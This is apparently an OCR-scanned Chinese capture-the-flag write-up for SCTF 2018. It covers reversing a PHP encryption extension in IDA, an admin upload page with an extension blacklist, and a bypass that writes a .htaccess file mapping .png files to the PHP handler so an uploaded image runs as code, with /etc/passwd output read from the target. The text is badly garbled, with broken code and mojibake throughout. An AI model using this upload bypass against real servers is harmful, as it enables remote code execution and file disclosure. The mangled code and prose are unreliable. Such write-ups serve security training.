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Output:

0:root:/root:/bin/bash
:1:1:daemon:/usr/sbin:/usr/sbin/i

bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin
/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/
nologin
Ip:x:7:7:Ip:/var/spool/Ipd:/usr/sbin/nologin ,
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__attribute_ ((visibility ("hidden") ))
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A LA B 4R I Bt /2 # i vencrypt_compile_file st 4.

Functions window O &F x | IDA View-A [ | PSEUdOCOdE-Bm | Pseudocode-d\l:l | (D] Hex view-1 3¢ | | Structures [ |

| int64 zm_startup_encrypt_php()
{

Function name o

1
sub_13E0 2 .
= 3| =({_DUWORD =)}&compiler_globals + 135} |= 1u;
L£] zm_startup_encrypt_php 4| org_compile file = (int (_ fastcall =){ QWORD, QUORD))zend compile file;
7] zm_shutdown_encrypt_php 5| zend_compile file = encrypt_compile_file;
zm_info_encrypt_php 6 return oLL ; = i i
zif_welcome_to_sctf2018 7

sub_1910

SRIGERN, HUTH—strstrrl i 2 phpit — L Py PN R 22, B phplE AR BB 3 T o SRSt R AT H — A
T, ¥HEENsub 3580 R EHE.

1 u2 = *(const char ==x){al + 8);
32 if { *strstr(={const char ==){al + 8), ":z//") )
33 {
3u ufh = fopen{u2, "rb+");
35 if { vé || {(LODWORD({v9) = zend_fopen{s={_ OWORD =}){al + 8), al + 16), {vd = uv9) *= OLL}) )}
36 {
37 v? = ={ DWORD =}ai;
38 if { *={ DWORD =)al == 2 )
39 {
48 fclose(={FILE ==)}{al + 24));
1 v? = =(_DWORD =)ai;
i 42 ¥
43 if ( w7 == 1)
Ly close{s*{ DWORD =)}{al + 24});
45 U8 = sub_35BB{v6);
L *{_ DWORD =)al1 = 2;
47 *{ QUORD =){al + 24} = vl;
L8 ¥
49 ¥
e vl = =MK_FP{__FS__ , 4BLL) ™ vi5;
; 51 if { =MK_FP{__FS__, 4BLL) == viS }
b 2 LODWORD(u3) = org_compile file{al, a2?);

sub_3580 ¥ 21 T



vl = sub_2290("YP68y3FsMDc6TvRgghq");
fread(&ptr, 8ulLL, 1uLL, stream);
fread(&v14, 8ulLL, 1ulLL, stream);
v3 = malloc(0x200000uLL);
__fread_chk(v3, ox200000LL, 1LL, v4, stream);
fclose(stream);
if ( (unsigned int)sub_34B@((char *)v5) )
{

v13 = tmpfile();

fwrite(v5, OLL, luLL, v13);

free(vs);

rewind(v13);

result = v13;
}
else
{

V6 *(_BYTE *)v5;

v7 = (char *)v5;

if ( *(_BYTE *)v5 )

{

do

{

*(++v7 - 1) = v6 ~ Ox9A;
V6 = *v7;
}
while ( *v7 );
}
v8 = malloc(0x200000uLLl);
v9 = vl4;
*v8 = OLL;
v1le = v8;
uncompress(v8, &ptr, v5, v9);
sub_3340(0LL, v10, (unsigned int)ptr, &v18, &ptr);
vll = tmpfile();
fwrite(v10, 1lulLL, ptr, vil);
free(v5);
free((void *)v10);
rewind(v1l);
result = vi1l;

}

return result;
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__int64 _ fastcall sub_34B@(char *s)
{
vl = (char *)malloc(©x200000uLL);
v2 = strlen(s) + 1;
__memset_chk(vl, OLL, v2, ©x200000LL);
__memcpy_chk(vl, s, v2, ©x200000LL);
v3 = *vl;
for (i =vl; *i; v3 = *i )
{
if ( (unsigned __int8)(v3 - 65) <= ©x19u )
*i = v3 + 32;
++i;
}
v5 = 1;
if ( !strstr(vl, "<?php") & !strstr(vl, "<?=") && !strstr(vl, "<script") )
{
v5 = 0;
free(vl);
}

return (unsigned int)v5;
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<?php
if (isset($_POST['name']) && isset($_POST['pass'])) {
if ($_POST['name'] === 'admin' && $_POST['pass'] === 'sctf2018 h656cDBkU2"') {
$_SESSION[ 'admin'] = 1;
} else {
die('<script>alert(/Login Error!/)</script>"');

//admin view

if (@%_SESSION['admin'] === 1) {
?>

<form action="./?f=upload_sctf2018 C9f7y48M75.php" method="POST" enctype="multipart/form-data">

<input type="file" value= name="upload">
<input type="submit" value="submit" name="submit">

</form>

K5 fift % upload_sctf2018_C9f7y48M75.php
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<?php
if (!isset($lemon_flag)) {

die('No!");

}

if (@$_SESSION['admin'] !== 1) {
die('403.");

}

$ip = shal(md5($_SERVER['REMOTE_ADDR'] . “"sctf2018"));
$user_dir = './upload_7788/"' . $ip;
if (!is_dir($user_dir)) {

mkdir($user_dir);

touch($user_dir . '/index.php');

if (isset($_POST['submit']) && !empty($_FILES)) {

$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
$b1ackext = [Ilphpll, Ilphp3ll, Ilphp4ll, Ilphpsll, llphtll’ llphtmlll’ llphpsll’ llincll];

$filearr = pathinfo($_FILES["upload"]["name"]);

if (!in_array($_FILES["upload"]['type'], $typeAccepted))
die("type error");

}

if (in_array($filearr["extension"], $blackext)) {
die("extension error");

$target_path = $user_dir . '/';
$target_path .= basename($_FILES['upload']['name']);

if (!move_uploaded file($_FILES['upload']['tmp_name'], $target_path)) {

die('upload error!');
} else {
echo 'succesfully uploaded! dir:

}
} else {

die("<script>alert('please upload image.')</script>");
}
?>
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. $user_dir . "/" . $_FILES['upload']['name’'];
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root@sctf:/etc/apache2/mods-available# cat php5.6.conf
<FilesMatch ".+\.ph(p[3457]?1tItml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable 1t's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "A\.ph(p[3457]?1tltmlIps)$">
Require all denied
</FilesMatch>
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php_flag engine off
Options All -Indexes
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engine boolean
FTF SR PHP 84T, 25 {XZEER PHP 89 Apache EIRARAEIZ B A, ATUET BRI EEIIENFKITH
5 & %< PHP, %% engine off i{Z| httpd.conf X{FHIEZHMIMIER o] LABESZA PHP,

apachefIphp &t BAL Y, {5 LT AL & Hapache =4 php7 X E 1)k N: application/x-httpd-php,
SRIGAZ L phpoR AL B . (H2WE, WR/Rdtengine XA T, EAE M kphpsCtF LT T, BIMEIRISLIEE
Napplication/x-httpd-phps

PRUAE EARHI H S, Bz BA% . htaccess, WAEMT:

AddType application/x-httpd-php .png
php_flag engine 1
NG BB png, MARNAEFEME — T,
3 7 11
Wz 5K S , Nu1LBA fiwupcolfi#i7E 5 [ SO FAEARHLH 1 session uploadE i, A5 FR AT STAF R
phpX ML & A i, session.upload_progress.enabled, JFBREf), {HIE T a2 ~Nonft .

root@sctf:/etc/php/5.6/apache2# cat php.ini | grep session.upload_progress.enabled

;session.upload_progress.enabled = On
root@sctf:/etc/php/5.6/apachel# I
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